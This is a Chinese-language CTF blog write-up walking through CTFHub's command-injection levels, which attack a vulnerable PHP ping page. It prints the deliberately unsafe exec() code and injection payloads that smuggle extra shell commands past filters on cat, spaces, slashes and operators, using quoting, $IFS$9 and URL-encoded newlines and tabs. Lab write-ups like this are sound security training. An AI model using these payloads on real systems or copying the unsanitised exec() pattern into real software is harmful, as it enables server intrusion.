ctfhub—rce 通关笔记

目录

命令注入

过滤cat

过滤空格

过滤目录分隔符

过滤运算符 

综合过滤练习


命令注入

进入环境后就看到一个ping命令框,下面还附有源码

可以看到这一关是没有任何过滤的,所以可以直接用‘|’进行拼接

源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

127.0.0.1 | ls

看到两个php文件,去访问第一个

ping完后页面上什么也没有,但是在源码中可以看到flag

过滤cat

进入环境,就看到源码里面对cat的过滤

if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";

这里进行了对cat的过滤,通过preg_match_all()函数在变量ip和m中搜索“cat”字符串,如果里面没有“cat”字符串,则会进行ping命令。(具体请看下面的文章https://www.runoob.com/php/php-preg_match_all.html)

先用ls查看一下当前目录下有那些文件,看到flag,去看一下。

由于cat被过滤了,所以我们可以尝试进行绕过

法一:

用less、more、tail等命令来代替cat命令

在源码中可以看到flag

法二:

通过反斜杠‘\’或者单引号进行绕过,也可以用tac命令来反向输出

ca''t flag_249182005331565.php

过滤空格

进入环境还是先看源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

这次将空格进行过滤,那么我们可以通过 $IFS$9 进行绕过(具体可参考下面的博客https://blog.csdn.net/a3320315/article/details/99773192

在源码中可以看到flag

过滤目录分隔符

源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

这一关把正反斜杠给过滤了,但是可以通过;进行绕过

首先先看一下当前目录下的文件

看到一个文件夹,这时候就可以用;来代替/进行命令执行

 payload:127.0.0.1;cd flag_is_here;ls

看到flag,再去查看即可得到flag

过滤运算符 

源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

这一关将||和&给过滤了,但是还可以用其他没有被过滤的运算符进行拼接 看到flag,再去看一下

在源码中可以看到flag

综合过滤练习

源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

可以看到,这一关几乎过滤了能用的所有字符,所以要进行一些编码绕过,但是这里我试了好久也没整出来,直到看到大佬的博客才知道要在url里面进行修改(大佬博客:https://www.cnblogs.com/0yst3r-2046/p/12617703.html

这里可以在hackbar里面进行操作,首先就是一些特殊符号的url编码替换

%0a替换换行,%09替换Tab键(又get到了一个新知识点,用Tab键的url编码进行补全文本),%5c替换\(因为cat也被过滤了,所以要用\来分隔cat)

下面开始解题:

首先就是查看当前目录下有哪些文件

看到了一个文件夹,再看看里面有什么

注意,这里是用Tab来补全flag,而不是输入fla来补全后面的。因为这里只是过滤了flag,所以我们通过Tab*来补全flag。

看到flag了,再用cat去看一下 这里要注意,这个flag的文件是在flag_is_here这个文件夹下的,所以我们先要进入这个文件夹,之后才能看到这个文件。 

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值